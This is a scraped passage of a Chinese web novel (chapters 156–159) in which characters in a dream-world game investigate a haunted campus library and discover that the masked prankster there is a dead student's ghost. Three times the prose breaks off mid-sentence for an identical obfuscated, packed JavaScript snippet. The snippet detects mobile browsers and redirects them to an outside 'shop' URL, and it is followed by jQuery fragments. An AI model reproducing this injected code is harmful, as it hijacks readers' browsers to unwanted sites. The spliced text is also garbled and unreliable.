陶然赶紧牵着梁复乐的手,轻声哄道:“乐乐,我刚才慌了神,没看到你被抓住了,要真看到了,我肯定跟鬼差拼命!” 梁复乐显然对这套说辞不太满意,撇开陶然的手,退到了罗覃身旁,挽上罗覃的胳膊,一边生着闷气,一边警告道:“你下次还敢这样,我们就到此结束。” 陶然一边赔礼道歉,一边好言劝解。 那个叫罗覃的女生一直沉默不语,看着陶然窘迫的模样时,嘴角微微噙着笑,竟有些辛灾乐祸的味道。 俞小澄则冷眼看向吴樊祐,讥笑道:“看来喜欢逃跑的人不止你一个。” 156. 梦境(六) 场面一度乱了起来。 突然出现的三个学生,因为图书馆内发生的事闹了点不愉快。 女教师和纹身男被三个学生说的话打乱了原本的计划,对于是否进入图书馆产生了分歧。 而俞小澄和吴樊祐,正为眼前似曾相识的经历较着劲。 对于逃跑一事,吴樊祐虽百口莫辩,但被三番五次念叨,多少起了点情绪,有些破罐子破摔地一把夺过女教师手里的手机,闷闷不乐地冲俞小澄说: “这次我不消极怠工,好好工作赚钱,学姐能别数落我了吗?” 女教师不知道二人之间的矛盾,更不明白吴樊祐想要干什么。 然后下一刻,没等俞小澄回应,吴樊祐就拿着手机转身走进了图书馆大门,任凭身后的人如何出声阻拦也无济于事。 俞小澄全程只是冷眼旁观,没有出言阻止,她有些看不懂吴樊祐的心思,不知他是真的打算做任务赚金币,还是想趁此机会送死。 俞小澄觉得有些心累,索性不加理会,转身问梁复乐:“你们遇到鬼差的具体情况是怎样的?” 女教师不放心地向图书馆内张望,忍不住插话道:“你学弟刚才不还说害怕吗?怎么这会儿突然勇敢起来了,不会是被我的话刺激了吧……这世界好像真的有鬼,他可别把我的话当真啊……” 梁复乐也是个热心肠,看见有人犯险,哪儿还顾得上回答俞小澄的问题,嚷着让大伙一起进去,她说:“鬼差好像只有一个,我们这么多人,说不定能赢!” “喂,你都说是鬼差了,你要不要听听自己在说什么?如果真是鬼,就我们这样一群普通人,当真对付得了?”纹身男竭力保持着冷静,仔细分析着情况。 陶然觉得有理,连连点头劝道:“乐乐,我们好不容易才逃出来,别太冲动,我看进去的老师挺强壮的,如果遇到鬼差,不一定跑不掉。” “你是不是怕了?”梁复乐瞪了陶然一眼。 陶然立马低头噤声,一旁的罗覃突然开口,却不是讨论要不要进入图书馆的话题,而是回答俞小澄的问话。 “当时我们从一楼一直巡逻到三楼,在三楼第五阅览室的书库区看见了一个人影,脸上戴着奇怪的面具,我们一出声,它拔腿就跑。”罗覃的声音很轻,但吐字十分清晰,看上去格外冷静。 与梁复乐的明艳动人不同,她显得很安静,放在人群中不会被注意到的那种人,可与俞小澄不同,她应该是属于放在哪里都能自然地融入进去那一类。 听到罗覃有条不紊地解释着来龙去脉,梁复乐也逐渐稳定了焦急的情绪,接过罗覃的话头,补充道:“没错,当时我们以为是偷偷溜进图书馆探险的同学,于是就追了上去,可他在书架之间穿梭极快,有种神出鬼没的感觉。” “就在我们分开围堵那怪人时,灯忽然全灭了,房间里温度骤降,时不时还传来瘆人的怪笑声,我总感觉背后有人,每次转身只有黑影一闪而过,妈呀,那气氛,跟鬼片里的场景一模一样。”陶然一边挠着头,一边难为情地说道。 罗覃一脸不屑地看了一眼陶然,火上浇油道:“所以当面具怪人袭击乐乐学姐时,你明明听到学姐的尖叫,还拔腿就往外跑?” 面对既定事实,陶然无从狡辩,只能讨好地望着梁复乐,祈求对方的原谅。 梁复乐心软,没在这件事上继续抓着不放,赶紧一笔带过,接着往下讲:“后来罗覃闻声前来帮忙,咬了那面具怪人一口,抓住我手腕的力道一松,我这才有机会拉着罗覃往楼下跑。” “戴面具的怪人,所以到底是人是鬼?”纹身男疑惑问道。 三个学生同时摇了摇头,他们都不清楚遇到的是人,还是鬼。 说是人吧,他能在书架之间穿梭自如,犹如鬼魅一般;说他是鬼吧,他又见人就跑,甚至还能被咬,更像恶作剧的人。 “不管怎么样,我们先进去看看吧,总不能由着学弟被抓走吧?”女教师再次提议道。 看这三学生还能活着出来,俞小澄已经基本可以肯定,进入图书馆并不触犯禁忌,那进入图书馆完成金币任务当是首要之急。 不过俞小澄并不想其他人跟进去捣乱,于是装出一副好学姐的模样,对女教师和纹身男说道:“他是我学弟,自然该由我这个学姐负起责任,不如让我进去看看,你们且在外面等等看。” 说罢又转向三个学生道,“同学们没事就先撤了吧,这里事,交给老师们调查就好。” 三个学生相互对视,虽有些不情愿,可还是顺从地点了点头,然后便小声商议着什么,告辞离开了图书馆。 “让你一个人进去怎么行?你不是害怕吗?”女教师不放心地说道。 俞小澄尴尬地笑了笑,有点作茧自缚的感觉,脑子里迅速思考,然后给了个格外牵强的解释,道:“这或许就是身为学姐的勇气吧……” “我跟你一起进去。” 此时纹身男又不合时宜地展现出自己的温柔体贴和风度。 若是换做旁人,自然感激万分,可俞小澄此时哪里需要,急忙拒绝道:“不用了,我一个人进去足矣,人多反而跑不快,你还是留在外面保护老师吧。” 门外的两人皆是愣了一下,或许他们都不明白,不进入图书馆有何危险可言,可仔细思考一番,又觉得俞小澄的谨慎挺有道理,于是叮嘱了几句小心,便放任俞小澄走进了图书馆大门。 通过玻璃门,俞小澄进入了图书馆大厅,这间图书馆一共有四层,馆内空间宽阔,要找人不是那么容易。 俞小澄在心里呼唤招财,不久便得到了回应,片刻后,招财穿墙而过,飞到了她的面前。 “姐姐,这馆里有……”招财支支吾吾半天说不出后面的词。 “有什么?有人还是有鬼?”俞小澄问。 招财抠着脑袋思考了半天,兴许最后也没有想出合适的词:“不好说,分不出是人是鬼,又不像普通NPC,嗯……硬要说的话,特殊NPC?” 对于他的这个回答,俞小澄并不觉得奇怪,毕竟已经屡见不鲜,大概率是恶灵为了对付玩家创造的特殊角色,比如上一场梦境中的赤身模特。 可是与赤身模特相比,这个NPC似乎不够强,竟然连3个普通学生都对付不了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579449|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俞小澄脑子里不由得感叹,对于吴樊祐是否会命丧图书馆,不禁少了几分担忧。 “看到吴樊祐那小子了吗?”俞小澄问。 招财手舞足蹈地回道:“啊,看到了,那家伙正在三楼追着NPC拍照呢!” “……” 俞小澄的心情很复杂,一时不知该不该同情图书馆的NPC。 果然这才是她认识的吴樊祐,一个总不按常理出牌的男人,一个做什么事都看起来跟开挂了一样的男人,一切行为都太过随心所欲,有时让人头疼,有时又惹人发笑。 怪只怪他惹了一个早就濒临崩溃的人,如今就怨不得她将他视作解闷的棋子,从今往后,就算不愿意,也得陪她呆在这个永无宁日的旅店里。 俞小澄一边想着,一边慢步往楼上走去,经过二楼时,一晃眼瞥见没开灯的房间里亮起微弱的光,就像是有谁将手机遗落在图书馆,当俞小澄路过时,恰好失主打来了电话。 好奇心的驱使下,俞小澄朝着有亮光的房间走去。 这里也是一间阅览室,成排的书架整齐排列其间,而那亮光就来自其中一个书架。 一步步靠近光源,俞小澄心中莫名忐忑起来,没有由来,就像是一种对危险的直觉。本应是理智劝她远离,此时却在驱使她靠近,反而是情感产生了一丝抗拒。 这种感觉有一丝熟悉,她一时没想起。 就在这种纠结的情绪拉扯中,俞小澄走到了发光处,一眼瞧去,她只觉脑子里嗡嗡作响。 原本应该放满书籍的格子里,竟是空荡荡的没有一本书,冰冷的钢架子上只放着一个老旧的土黄色信封,看上去十分眼熟。 死去的记忆仿佛死灰复燃,一股恐惧油然而生,信封上的字被水渍浸湿又风干,早已变得模糊不清,可那歪歪扭扭的字体,俞小澄感觉能一眼辨认出——俞小澄收。 这不是她第一次看到这个信封,在剧本杀梦境中,她曾在欧山的房间里看到过一次,如今它又出现在自己眼前,仿佛呼唤着自己靠近。 一股寒意由心底蔓延开来,她挪动着僵硬的双脚往后退去,然后撞在了背后的书架上,撞掉几本书,发出一阵闷响,背后的疼痛并没有让她从无边无际的窒息感中抽离出来。 “快逃……快逃……” 心里仿佛有个声音在指挥自己,俞小澄努力转动脖子,想要将视线从那个信封上移开。 是的,逃离,即便遗失了记忆,可那封信对她来说就如饥肠辘辘的猛兽,一旦靠近,必定死无全尸。她没由来地这样认为,并坚信如此,仿佛想要从痛苦中挣扎出来。 浑身的僵硬令她艰难地移动脚步,一寸一寸往门口方向挪去,眼眶中的眼泪在打转,她努力不让泪水滑落。 背靠书架,她才勉强没有倒地,不知挪了多久,才终于挪到了书架边缘,她撑着书架转身向门口跑去,急促的呼吸声和心跳声占领了耳膜,整个世界再没有其他声音。 刚到门边,迎面撞上一个人,俞小澄撞入了那人结实的胸膛,那一刻,她竟然感到一丝安稳,瞬间双脚瘫软,往地上滑了下去。 157. 梦境(六) 在俞小澄下落的瞬间,两只手扶住了她的胳膊,稳住了她的身子,然后一只手揽腰,将她揽进怀里,稍稍侧身,便挡在了她与房门之间。 “怎么了,学姐?那面具小鬼来骚扰你了?” 吴樊祐一边询问一边探头往阅览室内张望,似乎寻找着面具怪人的踪影。 俞小澄心里咯噔一响,居然有些担心吴樊祐看到那封信,顾不上心烦意乱,双手抓住吴樊祐的衣服,连连后退几步,将人带离了阅览室。 一直退到看不见房里微光的地方,俞小澄才松了一口气。 从吴樊祐的怀里挣脱开来,俞小澄趁他没注意,赶紧抹去脸上的泪痕,然后故作镇定问道:“差事办得如何?拍到委托人要的照片了吗?” 这种公事公办的口气,让吴樊祐无奈地叹了一口气,他摇了摇手里的手机,然后恭敬地交到俞小澄手里,回道:“拍了不少,应该有几张能用的。” 俞小澄接过手机,调出相册查看起来,心却还未平静下来,握住手机的手都有些颤抖,她忙侧过身去,不想让吴樊祐发现。 可惜,吴樊祐的观察十分敏锐,很快便发现她的异常表现,有些想关心却又害怕被拒绝的疏离感,刚想上前一步,又顿住了脚步。 “学姐没事吧?那面具小鬼实力很弱,你不用害怕。” 俞小澄突然有些庆幸,吴樊祐只是以为她在房间里遇到了面具怪人,这样她便可顺水推舟,不用解释自己究竟在逃避什么。 “你不是在追那小鬼吗?怎么还让它跑了,到处出现吓人……”俞小澄故作埋怨。 吴樊祐果然没有怀疑,面露歉意道:“我本想抓住那小子,奈何它本事不大,但溜得贼快,一个不留神,就让他跑掉了。” “所以那小鬼是个啥,你弄清了吗?” “只能说,像人,可能是拥有特殊能力的NPC吧。” “连两个女学生都打不过,又为何会有学生失踪呢?” “这就不清楚了,总之照片已经到手,要不要离开先?” “我想再探探,这梦境的规则还不知是怎么一回事,对于恶灵的身份便也无从判断。” “那走吧,我看看能不能把那面具小鬼逮住。” 简单几句,二人随即决定在图书馆再逗留些时候,兴许抓住那个面具怪人,可以得知图书馆怪谈的真相。 俞小澄没有在二楼停留,直接带着吴樊祐上了三楼,然后在众多书架间穿梭,寻找着面具怪人的行踪。 可惜找了许久,那怪人好像害怕了似的,始终不再出现。 俞小澄索性唤来招财,询问了那怪人的去处。 招财说:“那NPC就藏在三楼暗处,一直盯着你们俩,可是好像害怕吴樊祐那家伙,所以一直不现身。” 俞小澄心中有了些想法,于是向吴樊祐提议分头探索,让吴樊祐到四楼去调查,而自己则留在三楼。 吴樊祐闻言流露出一丝迟疑,似乎是在猜测着俞小澄的想法,不知是不是已经猜透,只听他轻声问了句:“学姐不怕那小鬼了吗?” 俞小澄笑容有些尴尬,方才的提议多少有些不打自招的成分,似乎暴露了自己的谎言,于是强行找补:“你都说那小鬼实力很弱,我还有什么好怕的。” 也不知吴樊祐有没有被她的理由说服,只见吴樊祐眉头轻皱,没有继续纠缠,转身离开了阅览室,向着楼上走去。 果然等吴樊祐走远,阅览室里的空气陡然冷了起来,明显气氛有些不太对劲,一猜便是那面具怪人准备作妖了。 俞小澄此时并不觉得有多害怕,方才看了吴樊祐拍的照片,能被相机拍下的怎么也不可能是鬼怪,看样子不过是个戴着丑陋面具的人。 有了这些预先的印象,俞小澄便不慌不忙地在书架之间转悠。 不一会儿,室内灯光闪烁几下,然后便悄无声息地熄灭了,随即阴暗的书架之间黑影憧憧,仿佛有不少人进入了图书馆,让冷清的图书馆瞬间热闹起来,但俞小澄四下张望,却是一个人影都看不见。 “这里还有其他人吗?” 俞小澄背靠书架,眼珠来回转动,有些紧张地观察着四周,在心里小声问招财。 招财在房间里转了一圈,告诉俞小澄屋里只有面具怪人一个,但它似乎有种特殊的能力,可以影响人的感官,让周围的磁场都发生扭曲。 俞小澄听招财报面具怪人的位置听得正认真,忽闻招财喊了声“小心”,手腕陡然被扣住,一股力道将她往一旁拽。 明明招财方才报位置时,面具怪人离她还很远,不过几秒功夫,怎么就窜到她身边来了,这让俞小澄很是震惊。 虽然吴樊祐说这怪人实力很弱,可那股拽着俞小澄的力道着实不小,俞小澄苦苦挣扎竟未挣脱开,还被怪人拽得失去平衡,险些摔倒在地,幸得招财拉了她一把。 连一直昏睡的进宝都被这阵动静吵醒,跟着招财一起,与那怪人开启了拔河,而俞小澄成了不幸的绳子,被两边扯得苦不堪言。 不过,也多亏了招财进宝帮忙,两边成了势均力敌之态,俞小澄甚至还有精力观察起正在拽自己的怪人。 拽着自己的的确是人类的手,只是体温比常人低了许多,他脸上带着怪异丑陋的面具,看上去像是什么干瘪畸形的怪物。 可是,在这怪人的身后,俞小澄好像看到了一道威严却阴森的石门,石门后伸出无数只鬼手,手指在空中乱舞,似要将靠近的人统统抓进门内。 这一瞬间,俞小澄开始怀疑眼前的怪人根本就是鬼差,当真要将长久逗留图书馆的人抓回地府。 一个古怪的声音在耳边响起,带着些蛊惑人心的力量:“乖乖跟我走吧,回到属于你的地方去。” 这声音一直在俞小澄耳边唠叨个没完,两边又始终僵持不下,俞小澄不堪其扰,索性让招财进宝松手,借着惯性一头撞到了怪人脸上。 一瞬间,手上的力道消失,俞小澄总算挣脱了怪人的钳制,收回手,俞小澄反手就赏了怪人一巴掌,不料刚好将怪人的面具从脸上打落。 下一秒,四周所有异象消失,什么鬼影憧憧,什么地府大门,仿佛只是俞小澄的幻觉,随着面具落地,一同回归平静。 而丢了面具的怪人正捂着脸哀嚎,似乎俞小澄方才的头槌让他伤得不轻,听他叫得那么惨,俞小澄竟生出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589264|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些愧疚,低声问:“你……没事吧?” 怪人捂着脸告饶:“别打了,老师!别打了,我看老师一个人,就想跟您开个玩笑,不用下死手吧。” 俞小澄俯身从地上拾起那个面具,拿在手里把玩起来,并未发现有什么不同寻常之处,可它显然在怪人脸上足以产生奇怪的功效。 “说说吧,你是什么人?为什么要在图书馆里诱拐学生?”俞小澄故作凶狠地审问起来。 怪人似乎很吃这套,立马顺从地点头哈腰,笑嘻嘻地解释:“我也是参商的学生,今年大四,名叫李罡。怎么能说是诱拐呐,我只是邀请大家一起玩而已。” “玩?你所谓的玩,就是制造灵异事件吓人?”俞小澄恨不得再送他一头槌。 李罡毫无悔改之心,嬉皮笑脸地说:“您不觉得有趣吗?夏日清凉特辑。” “有趣?”俞小澄举起面具就想再赏李罡一巴掌,对这NPC的脑回路实在有些无语,但见李罡立马抱头求饶,一副可怜兮兮的模样,俞小澄这手终究没忍心落下去。 俞小澄拿出手机,决定曝光李罡这厮,打开相机,镜头对准跪在地上的人,厉声招呼:“抬头!” 李罡闻言,顺从地抬头,见自己要入镜,非但没有排斥,甚至还伸出食指和中指,在脸旁比了个耶,外加一个笑不露齿的微笑。 闪了一张照片,俞小澄盯着手机屏幕上那个大大方方配合拍照的人,心中嘀咕道:“救命,这都什么人啊,让这种人在图书馆装神弄鬼,这梦境的恶灵真的有心杀人吗?” “老师,我都交代完了,可以走了吗?”李罡腰背笔挺,跪坐在地上,小心地试探道。 俞小澄低头俯视,眼神犀利,道:“哪里交代完了,你那些熄灯、阴冷环境、神出鬼没、地府大门等鬼把戏都是怎么搞出来的?” 一说到手段,李罡立马来了兴致,一副得意洋洋的表情,炫耀一般解释:“我做了个远程遥控器,可以随时随地控制灯光,嘿嘿!老师感觉到的冷风,其实就是打开了馆内冷气。至于神出鬼没和地府大门,那都是这面具的功劳,它能让人产生幻觉。” 见他一脸得意地说着混账事,俞小澄简直想给他两巴掌,冷着脸质问:“你这面具哪里来的?谁安排你在图书馆吓人?还有失踪的学生去哪儿了?” “啊?失踪?我哪有这本事啊!”李罡一听大惊失色,连忙摇头晃脑,矢口否认,“我就跟大家开个玩笑罢了,老师可别冤枉我!哪儿有什么安排,说得跟我有组织一样,那面具我在图书馆捡的。” 听完李罡的回答,俞小澄心中阴云密布。 细想之下,连她都可以轻松拿捏的人,的确没有诱拐学生的能力。 那学生失踪又是怎么一回事呢? 李罡忽然小声说道:“老师,其实图书馆四楼真有连通地府的通道,那些人不小心自己走进地府回不来了!说起来,我还算做了好事,大多数人到三楼就被我吓跑了。” 若真如李罡所讲,那图书馆怪谈就是真的了。 俞小澄仿佛看到了图书馆怪谈的真面目,忽然想起吴樊祐被自己指使上了四楼,惊慌失色地扔下李罡就往门外冲。 158. 梦境(六) 俞小澄第一时间想往楼上跑,刚到楼梯间就被招财进宝挡住了去路。 进宝有些胆怯地说道:“姐姐,楼上怪怪的,如果你不小心进入异空间,我们可能没法保护你。” 招财点头附和:“对啊,姐姐,你最好别上去。” 俞小澄此时自然清楚四楼有古怪,恐怕四楼才是恶灵在图书馆这张地图设下的圈套,就等着玩家主动送上门。 可她现在哪里顾得了这么多,方才她为了支开吴樊祐进而引李罡现身,下意识地避开二楼,指示吴樊祐上了四楼,如今不知吴樊祐有没有陷入危险境地,自然有些心慌。 招财看出俞小澄的心思,急忙说道:“姐姐,如果你是要找那家伙,他没在楼上。” 这句话瞬间引得俞小澄一头问号,诧异地盯着招财,唯恐他的下一句是吴樊祐已经被妖怪抓走了。 不过万幸,招财指了指楼下说:“那家伙趁你不注意,偷偷溜下楼了。” 俞小澄悬着的心渐渐落下,从台阶上收回脚,转而往楼下走去,一边走一边嘀咕道:“这家伙,又偷懒是吧!让他去找线索,又一个人开溜了,真是狗改不了吃屎!” 招财此时飘在俞小澄身边,闻言打断道:“不是哦,姐姐,那家伙没有溜出图书馆,他有听你的话,四处寻找线索,不过不是四楼,是二楼。” “好吧,算他识相。”俞小澄不情不愿地妥协道。 可刚走了两步,她浑身一激灵,瞪大了眼睛问招财:“你刚说什么?吴樊祐去二楼了?” “昂!”招财十分肯定地点了点头,不知俞小澄为何事慌张。 俞小澄闻言加快了下楼的步伐,然后让招财带路,径直去寻吴樊祐。 一路上,俞小澄的脑子里乱成一团,不停地胡思乱想。 吴樊祐为何要回到二楼? 他为什么没听自己的话去四楼? 他想在二楼找什么? 是不是他起疑了? 那封信不会被他找到吧? …… 无数的念头在脑海中一闪而过,然后狠狠撞击到一起,如同一颗颗鱼雷,炸得整片大海浪花四溅。 下意识的担忧让她心跳加速,带着急促的呼吸一路跟在招财身后,越是接近她方才发现信封的阅览室,她的心跳越是激烈。 擂鼓般的心跳声撞击着耳膜,令她很难再听到别的动静。 当招财停在那间阅览室的门前时,俞小澄觉得自己的心即将因为超出负荷而罢工。 阅览室里的灯亮着,一个人影在房间里走动,俞小澄战战兢兢地进了门,步伐不由自主放缓,脑海中浮现出吴樊祐拿着信封质问自己的场面。 俞小澄甩了甩头,想要将那些幻想抛之脑后,努力保持冷静,迈步穿过一个个书架,视线搜索着吴樊祐的身影。 很快,她就在两个书架之间发现了吴樊祐。 那人此时还在书架间翻找了什么东西,忽然意识到有人靠近,他猛然抬头,正好撞上了俞小澄疑惑的视线。 俞小澄:“你在找什么?” 吴樊祐:“呃……线索。” 俞小澄:“我不是让你去四楼找吗?” 吴樊祐:“哦,我想起来二楼也还没找过,就打算先从楼下找起。” 俞小澄:“那你找到什么了吗?” 吴樊祐:“没有。” 霎时间,俞小澄的心总算平稳落回了原处,她深呼吸几口,终于稳定住心神,身子因为突然放松有些脱力,她赶紧扶住一旁书架,才避免当场瘫坐在地上。 “学姐怎么下来了?”吴樊祐好奇地问。 俞小澄敷衍回答:“三楼该找的找完了,自然就下来了。” “那学姐找到什么了吗?”吴樊祐的眼神中透着一丝意义不明的刺探。 俞小澄将手机和面具扔了过去,平静地说:“找到个恶作剧的学生,和他吓唬人用的面具。” 吴樊祐将面具拿在手里仔细打量一番,似乎没发现特别之处,随后又翻出相册,在里面看到了一张新的照片,正是李罡对着镜头比耶微笑的画面。 “就是这小鬼把我当猴遛?”吴樊祐一脸嫌弃指了指照片中的人。 俞小澄嘴角抽搐,一时不好说这两个人谁把谁当猴遛。 “总之,这图书馆没什么需要调查的地方了。恶灵的陷阱在四楼,兴许上到四楼就会被传送到奇怪的空间,这也是为何有学生失踪的原因。至于那个叫李罡的怪人嘛,根本不知道恶灵的线索。”俞小澄轻描淡写地说出了自己的判断。 吴樊祐若有所思,不过片刻,又露出一抹狡黠的笑,道:“学姐不会是听说四楼有危险,所以特意来寻我吧?招财进宝告诉你我在楼下的吗?” 有种一切被人拆穿的感觉,俞小澄微微愣了愣神,随即故作镇定道:“脸皮可真厚,我以为你在楼上调查,所以就回二楼调查,没想到你小子没听指挥。” “哦……”吴樊祐的笑瞬间冻结,嘴角耷拉下来,带着些失望的语气道:“不是就算了……不过,学姐就不怕我当真在四楼消失了?” 俞小澄冷哼一声:“你偷偷溜出图书馆的可能性比较高吧?” “……”吴樊祐彻底笑不出来了,阴阳怪气地嘀咕道,“是是是,学姐真懂我……” 俞小澄没给他机会抱怨,催促道:“行了,金币任务完成,赶紧离开这儿。” 俞小澄和吴樊祐一前一后下了楼,玻璃门外,女教师和纹身男还在向里张望,表情相当紧张,直到眼见俞小澄二人再次出现在视野里,脸才舒展开。 吴樊祐悄悄将手机塞进了衣兜,显然不打算再交出来,见到门外二人,三言两语便将图书馆里遇到的情况说明了一番。 “所以,刚才那三位同学在三楼遇到的并不是鬼差,而是扮鬼恶作剧的学生?”女教师一边惊讶地念叨,一边梳理着信息,“而四楼的确存在超自然现象,如果不小心走进去,可能就回不来了?” 纹身男揉着眉心,看上去有些难以消化,嘴里嘀咕着:“这世界究竟是什么情况……” 吴樊祐若无其事地说:“总之图书馆的情况就是这样,失踪的确存在,奉劝你们别冒险尝试,要是真回不来,可没人能救你们。怎么向杨处汇报,你们自己想吧。” 待他解释完毕,俞小澄看了看手表,时间已接近中午,她打算先把手机还给王骏,再到学校食堂填饱肚子,剩下四则怪谈,慢慢调查即可。 女教师和纹身男一时没有新方向,遂表示同往。 一行人花了好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598416|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些工夫,才总算找到了西苑男生宿舍楼。 大楼外观十分寻常,看不出有什么异样,甚至没有怪谈之地该有的阴森气息,普通得不像样,很难想象这里晚上会闹鬼。 借着老师身份,四人很轻松便进入了大楼内,在三楼寻到307室。 纹身男客气地敲了敲房门,随即听到屋内传来一声回应,不多时,脚步声渐近,房门开启,王骏的脸出现在了门后。 “啊!老师们调查完图书馆了?”王骏一脸兴奋,急冲冲让到一旁,做了个请的手势,将四人迎进了房间里。 这间宿舍还算宽敞,原本住着四名学生,如今暑假有三人回了家,只剩下王骏一人独享整间房。 进门后,王骏抽来四张椅子,十分熟稔地招呼老师们坐下,然后难掩兴奋地站在四人面前,搓着小手,一脸期待地问道:“如何?不知老师们有没有帮我拍到地府照片呀?” “啧,瞧你这话说的多不吉利,想让老师上地府走一遭?”吴樊祐吹毛求疵地调侃道。 吓得王骏哆哆嗦嗦解释道:“不、没有,我不是这个意思,就想问问老师们调查的结果如何,绝对没有诅咒老师的想法!我发誓!” 瞧王骏一本正经被吓到的模样,吴樊祐心满意足地掏出手机,扔回给王骏,道:“你要的都在里面。” 王骏激动地翻看着相册,边看边奉承:“不愧是老师,真是勇,还从没人敢给鬼拍照!” 女教师哭笑不得地说:“同学,你有没有想过,能被相机拍到,那他可能压根就不是鬼魂。” 王骏虽一脸的不认同,可脸上依然保持着微笑,耐心回道:“给鬼拍照有啥稀奇的,还有拍照驱鬼的呢!咱又不是鬼,怎么好私自替鬼下定义呢,对吧?” “你说的是游戏吧……”纹身男忍不住吐槽。 王骏反驳道:“游戏不也源自生活嘛!” 俞小澄忍俊不禁,感觉要不是碍于他们老师的身份,王骏定要翻脸对线。 “行了,我对你们的生活游戏不关心,老师千辛万苦帮你拍到了照片,你是不是也该有所表示?”吴樊祐冷冷打断道。 “哦,对,我没忘,嘿嘿。” 王骏快步走到自己床铺下的桌旁,在抽屉里一顿翻找,然后重新回到吴樊祐面前,将两枚金币放到了吴樊祐的手心。 吴樊祐拿着金币掂量掂量,有些不满意地说:“就两个?我这冒着生命危险拍回来的照片,不该多给一枚吗?” 王骏厚着脸皮笑道:“哎呀,穷学生,这已经是我全部家当了,请老师谅解!” “行吧。”吴樊祐咂了一下嘴,无奈地妥协,然后便识相地将两枚金币塞进了俞小澄手里。 此刻女教师和纹身男皆是无比震惊,有种跟不上时代节奏的错觉。 不过,未等他们开口质疑为何一个穷学生能拿出两枚奇怪的金币,王骏已经盯着相册发出一声惊呼:“咦,这不是李罡学长吗?” 对于王骏的大惊小怪,俞小澄有些不理解,搭话道:“嗯,也是你们学校的学生,就是他一直躲在图书馆恶作剧。” 王骏脸上露出惊恐的神情,连手机都被他随手扔到了桌上,然后下意识地后退几步,压低声音说道:“可是,李罡学长已经死了大半年了。” 159. 梦境(六) 听到王骏的这句话,在场四人全都起了一层鸡皮疙瘩。就在这个消息空降前,所有人都一致认为,李罡就是个小丑,故意恶作剧吓人,反而无意间做了件好事,将前往图书馆的学生都拦在了三楼。 可是,现在情况完全变了。 俞小澄只觉一阵毛骨悚然,后悔自己方才太放肆了,对着一个鬼魂又是头槌又是扇耳光,对鬼魂丝毫没有一点尊重。 还好,这鬼魂弱得怕是自己都不知道自己已经死了,所以才让这么多人逃过一劫。 什么冷气,什么远程控制开关,什么幻觉…… 说不定都是李罡自己骗自己,顺便把她也骗到了。 现在再看那面具,难怪格外普通,因为它可能就只是一个普通面具,真正让人产生幻觉的,根本就是李罡。 从西苑男生宿舍楼出来时,所有人都有点精神恍惚。 王骏也跟着他们离开了宿舍,这个鬼故事吓得他这个NPC也不敢独处,借口要请老师们吃饭,死皮赖脸地跟着他们离开了房间。 女教师:“所以说,你们真的撞鬼了?” 吴樊祐:“啥鬼这么弱,我连他是鬼都没有发现……” 俞小澄:“是鬼他跟我跪地求饶干嘛?!是不是有病啊!” 纹身男:“这鬼是来搞笑的吗?” 见他们一直吐槽个没完,王骏忍不住为自己的学长说几句公道话:“李罡学长人其实挺好的,就是平时爱好恶作剧,所以大家不太想搭理他。” 纹身男问:“死了还回来捉弄同学,跟你们有仇吗?” 王骏答道:“没有,可能是因为寂寞吧。” 女教师又问:“那他是死在图书馆了吗?” 王骏答:“不,寒假回家途中,出了交通意外。” 女教师:“啊?不在出交通意外的地儿恶作剧,还千里迢迢跑回图书馆啊?” 王骏:“呵呵,大概学长不想给社会添乱吧。” 其余四人:“……” 一路吐槽着这位死后都不靠谱的学长,俞小澄一行人来到了食堂。 因为暑假影响,食堂里只有一个窗口开放,菜品有限,但与上一场梦境相比,至少不用担心吃饭会死人。 打好饭,五个人围坐一桌,纹身男趁机打听起了另一则怪谈,正是发生在西苑男生宿舍的那个离奇故事。 这一问算是问对人了,王骏一听学校打算调查这件事,立马跟打了鸡血一样,都不用旁人一句一句问,他就不歇气地将知道的信息往外抖。 看上去,王骏被这怪谈搞得苦不堪言,恨不得有人立刻解决那只阴魂不散的女鬼。 据王骏所说,最早学校也确实有这样的怪谈传说,就跟图书馆的地府通道一样,很早以前就存在了,可是那时大家并没有太当一回事,只当作打发无聊时间时的谈资。 可最近一年,忽然怪事频发,于是便将这五则怪谈给坐实了,从此以后,大家都尽力回避,但也免不了闹得人心惶惶。 “其实最早传出男寝鬼故事,大伙都觉得是有人将女友偷偷带进了宿舍,为了避免被人撞见,所以才编出这种瞎话打掩护的。”王骏滔滔不绝地讲着。 女教师闻言,立马端起了老师的架势,开启了说教:“看来我还是把同学们想得太单纯了,晚上熄灯不好好休息,一天天就想着这些呢!” 纹身男赶紧提醒她多吃菜,强行打断道:“都不是你的学生,别激动,游戏设定罢了。” 